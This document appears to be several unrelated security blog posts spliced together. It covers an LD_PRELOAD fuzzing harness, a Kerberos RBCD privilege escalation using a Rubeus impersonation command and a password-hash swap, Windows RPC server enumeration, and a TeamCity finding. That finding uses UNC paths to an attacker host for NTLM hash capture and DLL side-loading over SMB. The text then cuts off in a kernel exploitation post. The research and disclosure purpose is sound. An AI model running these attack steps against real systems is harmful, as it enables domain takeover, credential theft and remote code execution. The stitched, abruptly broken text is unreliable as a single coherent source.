write(1, "** __fxstat() called for __filed"..., 42) = 42
exit_group(0)                           = ?
+++ exited with 0 +++

Now we can flesh out our __fxstat() hook with some logic. The caller is hoping to retrieve a stat struct from the function for our fuzzing target fuzzme by passing the special file descriptor 1337. Luckily, we have our global stat struct that we can return after we update its size to match that of the current input in memory (as tracked by us and the fuzzer as the value at INPUT_SIZE_ADDR). So if called, we simply update our stat struct size, and memcpy our struct into their *__stat_buf. Our complete hook now looks like this:

// Hook for __fxstat
int __fxstat (int __ver, int __filedesc, struct stat *__stat_buf) {
    // Resolve the real fxstat
    if (NULL == real_fxstat) {
        real_fxstat = _resolve_symbol("__fxstat");
    }

    int ret = -1;

    // Check to see if we're stat'ing our fuzz target
    if (1337 == __filedesc) {
        // Patch the global struct with current input size
        st.st_size = *(size_t*)INPUT_SZ_ADDR;

        // Copy global stat struct back to caller
        memcpy(__stat_buf, &st, sizeof(struct stat));
        ret = 0;
    }

    // Normal stat, send to real fxstat
    else {
        ret = real_fxstat(__ver, __filedesc, __stat_buf);
    }

    return ret;
}

Now if we run this, we actually don’t break and objdump is able exit cleanly under strace.

Wrapping Up

To test whether or not we have done a fair job, we will go ahead and output objdump -D fuzzme to a file, and then we’ll go ahead and output the same command but with our harness shared object loaded. Lastly, we’ll run objdump -D /bin/ed and output to a file to see if our harness created the same output.

h0mbre@ubuntu:~/blogpost$ objdump -D fuzzme > /tmp/fuzzme_original.txt      
h0mbre@ubuntu:~/blogpost$ LD_PRELOAD=/home/h0mbre/blogpost/blog_harness.so objdump -D fuzzme > /tmp/harness.txt 
h0mbre@ubuntu:~/blogpost$ objdump -D /bin/ed > /tmp/ed.txt

Then we sha1sum the files:

h0mbre@ubuntu:~/blogpost$ sha1sum /tmp/fuzzme_original.txt /tmp/harness.txt /tmp/ed.txt 
938518c86301ab00ddf6a3ef528d7610fa3fd05a  /tmp/fuzzme_original.txt
add4e6c3c298733f48fbfe143caee79445c2f196  /tmp/harness.txt
10454308b672022b40f6ce5e32a6217612b462c8  /tmp/ed.txt

We actually get three different hashes, we wanted the harness and /bin/ed to output the same output since /bin/ed is the input we loaded into memory.

h0mbre@ubuntu:~/blogpost$ ls -laht /tmp
total 14M
drwxrwxrwt 28 root   root   128K Apr  3 08:44 .
-rw-rw-r--  1 h0mbre h0mbre 736K Apr  3 08:43 ed.txt
-rw-rw-r--  1 h0mbre h0mbre 736K Apr  3 08:43 harness.txt
-rw-rw-r--  1 h0mbre h0mbre 2.2M Apr  3 08:42 fuzzme_original.txt

Ah, they are the same length at least, that must mean there is a subtle difference and diff shows us why the hashes aren’t the same:

h0mbre@ubuntu:~/blogpost$ diff /tmp/ed.txt /tmp/harness.txt 
2c2
< /bin/ed:     file format elf64-x86-64
---
> fuzzme:     file format elf64-x86-64

The name of the file in the argv[] array is different, so that’s the only difference. In the end we were able to feed objdump an input file, but have it actually take input from an in-memory buffer in our harness.

One more thing, we actually forgot that objdump closes our file didn’t we! So I went ahead and added a quick fclose() hook. We wouldn’t have any problems if fclose() just wanted to free the heap memory associated with our fmemopen() returned FILE *; however, it would also probably try to call close() on that wonky file descriptor as well and we don’t want that. It might not even matter in the end, just want to be safe. Up to the reader to experiment and see what changes. The imaginary fuzzer should restore FILE * heap memory anyways during its snapshot restoration routine.

Conclusion

There are a million different ways to accomplish this goal, I just wanted to walk you through my thought process. There are actually a lot of cool things you can do with this harness, one thing I’ve done is actually hook malloc() to fail on large allocations so that I don’t waste fuzzing cycles on things that will eventually timeout. You can also create an at_exit() choke point so that no matter what, the program executes your at_exit() function every time it is exiting which can be useful for snapshot resets if the program can take multiple exit paths as you only have to cover the one exit point.

Hopefully this was useful to some! The complete code to the harness is below, happy fuzzing!

/* 
Compiler flags: 
gcc -shared -Wall -Werror -fPIC blog_harness.c -o blog_harness.so -ldl
*/

#define _GNU_SOURCE     /* dlsym */
#include <stdio.h> /* printf */
#include <sys/stat.h> /* stat */
#include <stdlib.h> /* exit */
#include <unistd.h> /* __xstat, __fxstat */
#include <dlfcn.h> /* dlsym and friends */
#include <sys/mman.h> /* mmap */
#include <string.h> /* memset */
#include <fcntl.h> /* open */

// Filename of the input file we're trying to emulate
#define FUZZ_TARGET     "fuzzme"

// Definitions for our in-memory inputs 
#define INPUT_SZ_ADDR   0x1336000
#define INPUT_ADDR      0x1337000
#define MAX_INPUT_SZ    (1024 * 1024)

// For testing purposes, we read /bin/ed into our input buffer to simulate
// what the fuzzer would do
#define  TEST_FILE      "/bin/ed"

// Our "legit" global stat struct
struct stat st;

// FILE * returned to callers of fopen64() 
FILE *faked_fp = NULL;

// Declare a prototype for the real stat as a function pointer
typedef int (*__xstat_t)(int __ver, const char *__filename, struct stat *__stat_buf);
__xstat_t real_xstat = NULL;

// Declare prototype for the real fopen and its friend fopen64 
typedef FILE* (*fopen_t)(const char* pathname, const char* mode);
fopen_t real_fopen = NULL;

typedef FILE* (*fopen64_t)(const char* pathname, const char* mode);
fopen64_t real_fopen64 = NULL;

// Declare prototype for the real __fxstat
typedef int (*__fxstat_t)(int __ver, int __filedesc, struct stat *__stat_buf);
__fxstat_t real_fxstat = NULL;

// Declare prototype for the real __fcntl
typedef int (*fcntl_t)(int fildes, int cmd, ...);
fcntl_t real_fcntl = NULL;

// Returns memory address of *next* location of symbol in library search order
static void *_resolve_symbol(const char *symbol) {
    // Clear previous errors
    dlerror();

    // Get symbol address
    void* addr = dlsym(RTLD_NEXT, symbol);

    // Check for error
    char* err = NULL;
    err = dlerror();
    if (err) {
        addr = NULL;
        printf("** Err resolving '%s' addr: %s\n", symbol, err);
        exit(-1);
    }
    
    return addr;
}

// Hook for __xstat 
int __xstat(int __ver, const char* __filename, struct stat* __stat_buf) {
    // Resolve the real __xstat() on demand and maybe multiple times!
    if (!real_xstat) {
        real_xstat = _resolve_symbol("__xstat");
    }

    // Assume the worst, always
    int ret = -1;

    // Special __ver value check to see if we're calling from constructor
    if (0x1337 == __ver) {
        // Patch back up the version value before sending to real xstat
        __ver = 1;

        ret = real_xstat(__ver, __filename, __stat_buf);

        // Set the real_xstat back to NULL
        real_xstat = NULL;
        return ret;
    }

    // Determine if we're stat'ing our fuzzing target
    if (!strcmp(__filename, FUZZ_TARGET)) {
        // Update our global stat struct
        st.st_size = *(size_t *)INPUT_SZ_ADDR;

        // Send it back to the caller, skip syscall
        memcpy(__stat_buf, &st, sizeof(struct stat));
        ret = 0;
    }

    // Just a normal stat, send to real xstat
    else {
        ret = real_xstat(__ver, __filename, __stat_buf);
    }

    return ret;
}

// Exploratory hooks to see if we're using fopen() related functions to open
// our input file
FILE* fopen(const char* pathname, const char* mode) {
    printf("** fopen() called for '%s'\n", pathname);
    exit(0);
}

// Our fopen hook, return a FILE* to the caller, also, if we are opening our
// target make sure we're not able to write to the file
FILE* fopen64(const char* pathname, const char* mode) {
    // Resolve symbol on demand and only once
    if (NULL == real_fopen64) {
        real_fopen64 = _resolve_symbol("fopen64");
    }

    // Check to see what file we're opening
    FILE* ret = NULL;
    if (!strcmp(FUZZ_TARGET, pathname)) {
        // We're trying to open our file, make sure it's a read-only mode
        if (strcmp(mode, "r")) {
            printf("** Attempt to open fuzz-target in illegal mode: '%s'\n", mode);
            exit(-1);
        }

        // Open shared memory FILE* and return to caller
        ret = fmemopen((void*)INPUT_ADDR, *(size_t*)INPUT_SZ_ADDR, mode);
        
        // Make sure we've never fopen()'d our fuzzing target before
        if (faked_fp) {
            printf("** Attempting to fopen64() fuzzing target more than once\n");
            exit(-1);
        }

        // Update faked_fp
        faked_fp = ret;

        // Change the filedes to something we know
        ret->_fileno = 1337;
    }

    // We're not opening our file, send to regular fopen
    else {
        ret = real_fopen64(pathname, mode);
    }

    // Return FILE stream ptr to caller
    return ret;
}

// Hook for __fxstat
int __fxstat (int __ver, int __filedesc, struct stat *__stat_buf) {
    // Resolve the real fxstat
    if (NULL == real_fxstat) {
        real_fxstat = _resolve_symbol("__fxstat");
    }

    int ret = -1;

    // Check to see if we're stat'ing our fuzz target
    if (1337 == __filedesc) {
        // Patch the global struct with current input size
        st.st_size = *(size_t*)INPUT_SZ_ADDR;

        // Copy global stat struct back to caller
        memcpy(__stat_buf, &st, sizeof(struct stat));
        ret = 0;
    }

    // Normal stat, send to real fxstat
    else {
        ret = real_fxstat(__ver, __filedesc, __stat_buf);
    }

    return ret;
}

// Hook for fcntl
int fcntl(int fildes, int cmd, ...) {
    // Resolve fcntl symbol if needed
    if (NULL == real_fcntl) {
        real_fcntl = _resolve_symbol("fcntl");
    }

    if (fildes == 1337) {
        return O_RDONLY;
    }

    else {
        printf("** fcntl() called for real file descriptor\n");
        exit(0);
    }
}

// Map memory to hold our inputs in memory and information about their size
static void _create_mem_mappings(void) {
    void *result = NULL;

    // Map the page to hold the input size
    result = mmap(
        (void *)(INPUT_SZ_ADDR),
        sizeof(size_t),
        PROT_READ | PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
        0,
        0
    );
    if ((MAP_FAILED == result) || (result != (void *)INPUT_SZ_ADDR)) {
        printf("** Err mapping INPUT_SZ_ADDR, mapped @ %p\n", result);
        exit(-1);
    }

    // Let's actually initialize the value at the input size location as well
    *(size_t *)INPUT_SZ_ADDR = 0;

    // Map the pages to hold the input contents
    result = mmap(
        (void *)(INPUT_ADDR),
        (size_t)(MAX_INPUT_SZ),
        PROT_READ | PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
        0,
        0
    );
    if ((MAP_FAILED == result) || (result != (void *)INPUT_ADDR)) {
        printf("** Err mapping INPUT_ADDR, mapped @ %p\n", result);
        exit(-1);
    }

    // Init the value
    memset((void *)INPUT_ADDR, 0, (size_t)MAX_INPUT_SZ);
}

// Create a "legit" stat struct globally to pass to callers
static void _setup_stat_struct(void) {
    int result = __xstat(0x1337, FUZZ_TARGET, &st);
    if (-1 == result) {
        printf("** Err creating stat struct for '%s' during load\n", FUZZ_TARGET);
    }
}

// Used for testing, load /bin/ed into the input buffer and update its size info
#ifdef TEST
static void _test_func(void) {    
    // Open TEST_FILE for reading
    int fd = open(TEST_FILE, O_RDONLY);
    if (-1 == fd) {
        printf("** Failed to open '%s' during test\n", TEST_FILE);
        exit(-1);
    }

    // Attempt to read max input buf size
    ssize_t bytes = read(fd, (void*)INPUT_ADDR, (size_t)MAX_INPUT_SZ);
    close(fd);

    // Update the input size
    *(size_t *)INPUT_SZ_ADDR = (size_t)bytes;
}
#endif

// Routine to be called when our shared object is loaded
__attribute__((constructor)) static void _hook_load(void) {
    // Create memory mappings to hold our input and information about its size
    _create_mem_mappings();

    // Setup global "legit" stat struct
    _setup_stat_struct();

    // If we're testing, load /bin/ed up into our input buffer and update size
#ifdef TEST
    _test_func();
#endif
}

* Caveats apply.

Resource Based Constrained Delegate (RBCD) privilege escalation, described by Elad Shamir in the "Wagging the Dog" blog post is a devious way of exploiting Kerberos to elevate privileged on a local  Windows machine. All it requires is write access to local computer's domain account to modify the msDS-AllowedToActOnBehalfOfOtherIdentity LDAP attribute to add another account's SID. You can then use that account with the Services For User (S4U) protocols to get a Kerberos service ticket for the local machine as any user on the domain including local administrators. From there you can create a new service or whatever else you need to do.

The key is how you write to the LDAP server under the local computer's domain account. There's been various approaches usually abusing authentication relay. For example, I described one relay vector which abused DCOM. Someone else has then put this together in a turnkey tool, KrbRelayUp. 

One additional criteria for this to work is having access to another computer account to perform the attack. Well this isn't strictly true, there's the Shadow Credentials attack which allows you to reuse the same local computer account, but in general you need a computer account you control. Normally this isn't a problem, as the DC allows normal users to create new computer accounts up to a limit set by the domain's ms-DS-MachineAccountQuota attribute value. This attribute defaults to 10, but an administrator could set it to 0 and block the attack, which is probably recommend.

But I wondered why this wouldn't work as a normal user. The msDS-AllowedToActOnBehalfOfOtherIdentity attribute just needs the SID for the account to be allowed to delegate to the computer. Why can't we just add the user's SID and perform the S4U dance? To give us the best chance I'll assume we have knowledge of a user's password, how you get this is entirely up to you. Running the attack through Rubeus shows our problem.

PS C:\> Rubeus.exe s4u /user:charlie /domain:domain.local /dc:primarydc.domain.local /rc4:79bf93c9501b151506adc21ba0397b33 /impersonateuser:Administrator /msdsspn:cifs/WIN10TEST.domain.local

We don't even get past the first S4U2Self stage of the attack, it fails with a KDC_ERR_S_PRINCIPAL_UNKNOWN error. This error typically indicates the KDC doesn't know what encryption key to use for the generated ticket. If you add an SPN to the user's account however it all succeeds. This would imply it's not a problem with a user account per-se, but instead just a problem of the KDC not being able to select the correct key.

Technically speaking there should be no reason that the KDC couldn't use the user's long term key if you requested a ticket for their UPN, but it doesn't (contrary to an argument I had on /r/netsec the other day with someone who was adamant that SPN's are a convenience, not a fundamental requirement of Kerberos). 

So what to do? There is a way of getting a ticket encrypted for a UPN by using the User 2 User (U2U) extension. Would this work here? Looking at the Rubeus code it seems requesting a U2U S4U2Self ticket is supported, but the parameters are not set for the S4U attack. Let's set those parameters to request a U2U ticket and see if it works.

Okay, we're getting closer. The S4U2Self request was successful, unfortunately the S4U2Proxy request was not, failing with a KDC_ERR_BADOPTION error. After a bit of playing around this is almost certainly because the KDC can't decrypt the ticket sent in the S4U2Proxy request. It'll try the user's long term key, but that will obviously fail. I tried to see if I could send the user's TGT with the request (in addition to the S4U2Self service ticket) but it still failed. Is this not going to be possible?

Thinking about this a bit more, I wondered, could I decrypt the S4U2Self ticket and then encrypt with the long term key I already know for the user? Technically speaking this would create a valid Kerberos ticket, however it wouldn't create a valid PAC. This is because the PAC contains a Server Signature which is a HMAC of the PAC using the key used to encrypt the ticket. The KDC checks this to ensure the PAC hasn't been modified or put into a new ticket, and if it's incorrect it'll fail the request.

As we know the key, we could just update this value. However, the Server Signature is protected by the KDC Signature which is a HMAC keyed with the KDC's own key. We don't know this key and so we can't update this second signature to match the modified Server Signature. Looks like we're stuck.

Still, what would happen if the user's long term key happened to match the TGT session key we used to encrypt the S4U2Self ticket? It's pretty unlikely to happen by chance, but with knowledge of the user's password we could conceivably change the user's password on the DC between the S4U2Self and the S4U2Proxy requests so that when submitting the ticket the KDC can decrypt it and perhaps we can successfully get the delegated ticket.

As we know the TGT's session key, one obvious approach would be to "crack" the hash value back to a valid Unicode password. For AES keys I think this is going to be difficult and even if successful could be time consuming. However, RC4 keys are just a MD4 hash with no additional protection against brute force cracking. Fortunately the code in Rubeus defaults to requesting an RC4 session key for the TGT, and MS have yet to disable RC4 by default in Windows domains. This seems like it might be doable, even if it takes a long time. We would also need the "cracked" password to be valid per the domain's password policy which adds extra complications.

However, I recalled when playing with the SAM RPC APIs that there is a SamrChangePasswordUser method which will change a user's password to an arbitrary NT hash. The only requirement is knowledge of the existing NT hash and we can set any new NT hash we like. This doesn't need to honor the password policy, except for the minimum age setting. We don't even need to deal with how to call the RPC API correctly as the SAM DLL exports the SamiChangePasswordUser API which does all the hard work. 

I took some example C# code written by Vincent Le Toux and plugged that into Rubeus at the correct point, passing the current TGT's session key as the new NT hash. Let's see if it works:

And it does! Now the caveats:

• This will obviously only work if RC4 is still enabled on the domain. 
• You will need the user's password or NT hash. I couldn't think of a way of doing this with only a valid TGT.
• The user is sacrificial, it might be hard to login using a password afterwards. If you can't immediately reset the password due to the domain's policy the user might be completely broken. 
• It's not very silent, but that's not my problem.
• You're probably better to just do the shadow credentials attack, if PKINIT is enabled.

When doing security research I regularly use my NtObjectManager PowerShell module to discover and call RPC servers on Windows. Typically I'll use the Get-RpcServer command, passing the name of a DLL or EXE file to extract the embedded RPC servers. I can then use the returned server objects to create a client to access the server and call its methods. A good blog post about how some of this works was written recently by blueclearjar.

Using Get-RpcServer only gives you a list of what RPC servers could possibly be running, not whether they are running and if so in what process. This is where the RpcView does better, as it parses a process' in-memory RPC structures to find what is registered and where. Unfortunately this is something that I'm yet to implement in NtObjectManager. 

However, it turns out there's various ways to get the running RPC server information which are provided by OS and the RPC runtime which we can use to get a more or less complete list of running servers. I've exposed all the ones I know about with some recent updates to the module. Let's go through the various ways you can piece together this information.

NOTE some of the examples of PowerShell code will need a recent build of the NtObjectManager module. For various reasons I've not been updating the version of the PS gallery, so get the source code from github and build it yourself.

RPC Endpoint Mapper

If you're lucky this is simplest way to find out if a particular RPC server is running. When an RPC server is started the service can register an RPC interface with the function RpcEpRegister specifying the interface UUID and version along with the binding information with the RPC endpoint mapper service running in RPCSS. This registers all current RPC endpoints the server is listening on keyed against the RPC interface. 

You can query the endpoint table using the RpcMgmtEpEltInqBegin and RpcMgmtEpEltInqNext APIs. I expose this through the Get-RpcEndpoint command. Running Get-RpcEndpoint with no parameters returns all interfaces the local endpoint mapper knows about as shown below.

Note that in addition to the interface UUID and version the output shows the binding information for the endpoint, such as the protocol sequence and endpoint. There is also a free form annotation field, but that can be set to anything the server likes when it calls RpcEpRegister.

The APIs also allow you to specify a remote server hosting the endpoint mapper. You can use this to query what RPC servers are running on a remote server, assuming the firewall doesn't block you. To do this you'd need to specify a binding string for the SearchBinding parameter as shown.

The big issue with the RPC endpoint mapper is it only contains RPC interfaces which were explicitly registered against an endpoint. The server could contain many more interfaces which could be accessible, but as they weren't registered they won't be returned from the endpoint mapper. Registration will typically only be used if the server is using an ephemeral name for the endpoint, such as a random TCP port or auto-generated ALPC name.

Pros:

• Simple command to run to get a good list of running RPC servers.
• Can be run against remote servers to find out remotely accessible RPC servers.

Service Executable

If the RPC servers you extract are in a registered system service executable then the module will try and work out what service that corresponds to by querying the SCM. The default output from the Get-RpcServer command will show this as the Service column shown below.

The output also shows the appinfo.dll executable is the implementation of the Appinfo service, which is the general name for the UAC service. Note here that is also shows whether the service is running, but that's just for convenience. You can use this information to find what process is likely to be hosting the RPC server by querying for the service PID if it's running. 

The output also shows that each of the interfaces have an endpoint which is registered against the interface UUID and version. This is extracted from the endpoint mapper which makes it again only for convenience. However, if you pick an executable which isn't a service implementation the results are less useful:

The efslsaext.dll implements one of the EFS implementations, which are all hosted in LSASS. However, it's not a registered service so the output doesn't show any service name. And it's also not registered with the endpoint mapper so doesn't show any endpoints, but it is running.

Pros:

• If the executable's a service it gives you a good idea of who's hosting the RPC servers and if they're currently running.
• You can get the RPC server interface information along with that information.

Enumerating Process Modules

Extracting the RPC servers from an arbitrary executable is fine offline, but what if you want to know what RPC servers are running right now? This is similar to RpcView's process list GUI, you can look at a process and find all all the services running within it.

It turns out there's a really obvious way of getting a list of the potential services running in a process, enumerate the loaded DLLs using an API such as EnumerateLoadedModules, and then run Get-RpcServer on each one to extract the potential services. To use the APIs you'd need to have at least read access to the target process, which means you'd really want to be an administrator, but that's no different to RpcView's limitations.

The big problem is just because a module is loaded it doesn't mean the RPC server is running. For example the WinHTTP DLL has a built-in RPC server which is only loaded when running the WinHTTP proxy service, but the DLL could be loaded in any process which uses the APIs.

To simplify things I expose this approach through the Get-RpcServer function with the ProcessId parameter. You can also use the ServiceName parameter to lookup a service PID if you're interested in a specific service.

Asking an RPC Endpoint Nicely

About a month ago I decided to take a look at JetBrains TeamCity, as I wanted to learn more about CVE-2022-25263 (an authenticated OS Command Injection in the Agent Push functionality).

Initially I just wanted to find the affected feature and test the mitigation put in place, eventually I ended up searching for other interesting behaviors that could be considered security issues- and came across something I believed was a vulnerability, however upon disclosure the vendor convinced me that the situation was considered normal in TeamCity's context and its thread model. Since the feature I was testing allowed me to set some of the environmental variables later passed to the given builder step process (in my case it was python.exe).

During that process I accidently discovered that Python on Windows can be used to side-load an arbitrary DLL named rsaenh.dll, placed in a directory named system32, located in a directory pointed by the SystemRoot environment variable passed to the process (it loads %SystemRoot%/system32/rsaenh.dll).

For the purpose of testing, I installed TeamCity on Windows 10 64-bit, with default settings, setting both the TeamCity Server and the TeamCity Build Agent to run as a regular user (which is the default setting).

I used the same system for both the TeamCity Server and the Build Agent.
First, as admin, I created a sample project with one build step of type Python.
I installed Python3 (python3.10 from the Microsoft App Store, checked the box to get it added to the PATH), so the agent would be compatible to run the build. I also created a hello world python build script:

From that point I switched to a regular user account, which was not allowed to define or edit build steps, but only to trigger them, with the ability to control custom build parameters (including some environmental variables).

I came across two separate instances of UNC path injection, allowing me to attack the Build Agent. In both cases I could make the system connect via SMB to the share of my choosing (allowing me to capture the NTLM hash, so I could try to crack it offline or SMB-relay it).

In case of build steps utilizing python, it also turned out possible to load an arbitrary DLL file from the share I set up with smbd hosted from the KALI box.

The local IP address of the Windows system was 192.168.99.4. I ran a KALI Linux box in the same network, under 192.168.99.5.

Injecting UNC to capture the hash / NTLM-relay

On the KALI box, I ran responder with default settings, like this:

Then, before running the build, I set the teamcity.build.checkoutDir parameter to \\192.168.99.5\pub:

I also ran Procmon and set up a filter to catch any events with the "Path" attribute containing "192.168.99.5".
I clicked "Run Build", which resulted in the UNC path being read by the service, as shown in the screenshot below:

Responder successfully caught the hash (multiple times):

I noticed that the teamcity.build.checkoutDir was validated and eventually it would not be used to attempt to load the build script (which was what I was trying to achieve in the first place by tampering with it), and the application fell back on the default value C:\TeamCity\buildAgent\work\2b35ac7e0452d98f when running the build. Still, before validation, the service interacted with the share, which I believe should not be the case.

Injecting UNC to load arbitrary DLL

I discovered I could attack the Build Agent by poisoning environmental variables the same way as I attacked the server, via build parameter customization.
Since my build step used python, I played with it a bit to see if I could influence the way it loads DLLs by changing environmental variables. It turned out I could.

Python on Windows can be used to side-load an arbitrary DLL named rsaenh.dll, placed in a directory named system32, located in a directory pointed by the SystemRoot environment variable passed to the process.

For example, by setting the SystemRoot environmental variable to "\\192.168.99.5\pub" (from the default "C:\WINDOWS" value):

In case of python3.10.exe, this resulted in the python executable trying to load \\192.168.99.5\pub\system32\rsaenh.dll:

With Responder running, just like in case of attacking the TeamCity Server, hashes were captured:

However, since python3.10 looked eager to load a DLL from a path that could be controlled with the SystemRoot variable, I decided to spin up an SMB share with public anonymous access and provide a copy of the original rsaenh.dll file into the pub\system32\ directory shared with SMB.
I used the following /etc/samba/smb.config:

[global]

workgroup = WORKGROUP
log file = /var/log/samba/log.%m
max log size = 1000
logging = file
panic action = /usr/share/samba/panic-action %d
server role = standalone server
map to guest = bad user
[pub]
comment = some useful files
read only = no
path = /home/pub
guest ok = yes
create mask = 0777
directory mask = 0777

I stopped Responder to free up the 445 port, I started smbd:

service smbd start

Then, I ran the build again, and had the python3.10 executable successfully load and execute the DLL from my share, demonstrating a vector of RCE on the Build Agent:

Not an issue from TeamCity perspective

About a week after reporting the issue to the vendor, I received a response, clarifying that any user having access to TeamCity is considered to have access to all build agent systems, therefore code execution on any build agent system, triggered from low-privileged user in TeamCity, does not violate any security boundaries. They also provided an example of an earlier, very similar submission, and the clarification that was given upon its closure https://youtrack.jetbrains.com/issue/TW-74408 (with a nice code injection vector via perl environmental variable).

python loading rsaenh.dll following the SystemRoot env variable

The fact that python used an environmental variable to load a DLL is an interesting occurrence on its own, as it could be used locally as an evasive technique alternative to rundll32.exe (https://attack.mitre.org/techniques/T1574/002/, https://attack.mitre.org/techniques/T1129/) - to inject malicious code into a process created from an original, signed python3.10.exe executable .

POC

The following code was used to build the DLL. It simply grabs the current username and current process command line, and appends them to a text file named poc.txt. Whenever DllMain is executed, for whatever reason, the poc.txt file will be appended with a line containing those details:

First, let's try to get it loaded without any signatures, locally:

Procmon output watching for any events with Path ending with "rsaenh.dll":

The poc.txt file was created in the current directory of  C:\Users\ewilded\HACKING\SHELLING\research\cmd.exe\python3_side_loading_via_SystemRoot while running python:

Similar cases

There must be more cases of popular software using environmental variables to locate some of the shared libraries they load.

To perform such a search dynamically, all executables in the scope directory could be iterated through and executed multiple times, each time testing arbitrary values set to individual common environmental variables like %SystemRoot% or %WINDIR%. This alone would be a good approach for starters, but it would definitely not provide an exhaustive coverage - most of the places in code those load attempts happen are not reachable without hitting proper command lines, specific to each executable.

A more exhaustive, and but also demanding approach, would be static analysis of all PE files in the scope that simply indicate the usage of both LoadLibrary and GetEnv functions (e..g LoadLibraryExW() and _wgetenv(), as python3.10.exe does) in their import tables.

Like many Windows related technologies Active Directory uses a security descriptor and the access check process to determine what access a user has to parts of the directory. Each object in the directory contains an nTSecurityDescriptor attribute which stores the binary representation of the security descriptor. When a user accesses the object through LDAP the remote user's token is used with the security descriptor to determine if they have the rights to perform the operation they're requesting.

Weak security descriptors is a common misconfiguration that could result in the entire domain being compromised. Therefore it's important for an administrator to be able to find and remediate security weaknesses. Unfortunately Microsoft doesn't provide a means for an administrator to audit the security of AD, at least in any default tool I know of. There is third-party tooling, such as Bloodhound, which will perform this analysis offline but from reading the implementation of the checking they don't tend to use the real access check APIs and so likely miss some misconfigurations.

I wrote my own access checker for AD which is included in my NtObjectManager PowerShell module. I've used it to find a few vulnerabilities, such as CVE-2021-34470 which was an issue with Exchange's changes to AD. This works "online", as in you need to have an active account in the domain to run it, however AFAIK it should provide the most accurate results if what you're interested in what access an specific user has to AD objects. While the command is available in the module it's perhaps not immediately obvious how to use it an interpret the result, therefore I decide I should write a quick blog post about it.

A Complex Process

Using Get-AccessibleDsObject and Interpreting the Results

#Requires -Version 3

function Add
{
    Param
    (
        [UInt32] $Num1,
        [UInt32] $Num2
    )

    $MethodInfo = New-Object Reflection.Emit.DynamicMethod('UInt32Add', [UInt32], @([UInt32], [UInt32]))
    $ILGen = $MethodInfo.GetILGenerator()
    $ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
    $ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_1)
    $ILGen.Emit([Reflection.Emit.OpCodes]::Add)
    $ILGen.Emit([Reflection.Emit.OpCodes]::Ret)

    # Note, the Func delegate was introduced in .NET 3.5 and hence
    # will not be available in PowerShell version 2
    $Delegate = [Func``3[UInt32, UInt32, UInt32]]
    $UInt32Add = $MethodInfo.CreateDelegate($Delegate)

    $UInt32Add.Invoke($NUm1, $Num2)
}

# Example: Will wrap and return 1
Add ([UInt32]::MaxValue) 2

Introduction

I’ve been wanting to learn Linux Kernel exploitation for some time and a couple months ago @ptrYudai from @zer0pts tweeted that they released the beta version of their website PAWNYABLE!, which is a “resource for middle to advanced learners to study Binary Exploitation”. The first section on the website with material already ready is “Linux Kernel”, so this was a perfect place to start learning.

The author does a great job explaining everything you need to know to get started, things like: setting up a debugging environment, CTF-specific tips, modern kernel exploitation mitigations, using QEMU, manipulating images, per-CPU slab caches, etc, so this blogpost will focus exclusively on my experience with the challenge and the way I decided to solve it. I’m going to try and limit redundant information within this blogpost so if you have any questions, it’s best to consult PAWNYABLE and the other linked resources.

What I Started With

PAWNYABLE ended up being a great way for me to start learning about Linux Kernel exploitation, mainly because I didn’t have to spend any time getting up to speed on a kernel subsystem in order to start wading into the exploitation metagame. For instance, if you are the type of person who learns by doing, and you’re first attempt at learning about this stuff was to write your own exploit for CVE-2022-32250, you would first have to spend a considerable amount of time learning about Netfilter. Instead, PAWNYABLE gives you a straightforward example of a vulnerability in one of a handful of bug-classes, and then gets to work showing you how you could exploit it. I think this strategy is great for beginners like me. It’s worth noting that after having spent some time with PAWNYABLE, I have been able to write some exploits for real world bugs similar to CVE-2022-32250, so my strategy did prove to be fruitful (at least for me).

I’ve been doing low-level binary stuff (mostly on Linux) for the past 3 years. Initially I was very interested in learning binary exploitation but starting gravitating towards vulnerability discovery and fuzzing. Fuzzing has captivated me since early 2020, and developing my own fuzzing frameworks actually lead to me working as a full time software developer for the last couple of years. So after going pretty deep with fuzzing (objectively not that deep as it relates to the entire fuzzing space, but deep for the uninitiated) , I wanted to circle back and learn at least some aspect of binary exploitation that applied to modern targets.

The Linux Kernel, as a target, seemed like a happy marriage between multiple things: it’s relatively easy to write exploits for due to a lack of mitigations, exploitable bugs and their resulting exploits have a wide and high impact, and there are active bounty systems/programs for Linux Kernel exploits. As a quick side-note, there have been some tremendous strides made in the world of Linux Kernel fuzzing in the last few years so I knew that specializing in this space would allow me to get up to speed on those approaches/tools.

So coming into this, I had a pretty good foundation of basic binary exploitation (mostly dated Windows and Linux userland stuff), a few years of C development (to include a few Linux Kernel modules), and some reverse engineering skills.

What I Did

To get started, I read through the following PAWNYABLE sections (section names have been Google translated to English):

• Introduction to kernel exploits
• kernel debugging with gdb
• security mechanism (Overview of Exploitation Mitigations)
• Compile and transfer exploits (working with the kernel image)

This was great as a starting point because everything is so well organized you don’t have to spend time setting up your environment, its basically just copy pasting a few commands and you’re off and remotely debugging a kernel via GDB (with GEF even).

Next, I started working on the first challenge which is a stack-based buffer overflow vulnerability in Holstein v1. This is a great starting place because right away you get control of the instruction pointer and from there, you’re learning about things like the way CTF players (and security researchers) often leverage kernel code execution to escalate privileges like prepare_kernel_creds and commit_creds.

You can write an exploit that bypasses mitigations or not, it’s up to you. I started slowly and wrote an exploit with no mitigations enabled, then slowly turned the mitigations up and changed the exploit as needed.

After that, I started working on a popular Linux kernel pwn challenge called “kernel-rop” from hxpCTF 2020. I followed along and worked alongside the following blogposts from @_lkmidas:

• Learning Kernel Exploitation - Part 1
• Learning Kernel Exploitation - Part 2
• Learning Kernel Exploitation - Part 3

This was great because it gave me a chance to reinforce everything I had learned from the PAWNYABLE stack buffer overflow challenge and also I learned a few new things. I also used (https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/) to supplement some of the information.

As a bonus, I also wrote a version of the exploit that utilized a different technique to elevate privileges: overwriting modprobe_path.

After all this, I felt like I had a good enough base to get started on the UAF challenge.

UAF Challenge: Holstein v3

Some quick vulnerability analysis on the vulnerable driver provided by the author states the problem clearly.

char *g_buf = NULL;

static int module_open(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_open called\n");

  g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
  if (!g_buf) {
    printk(KERN_INFO "kmalloc failed");
    return -ENOMEM;
  }

  return 0;
}

When we open the kernel driver, char *g_buf gets assigned the result of a call to kzalloc().

static int module_close(struct inode *inode, struct file *file)
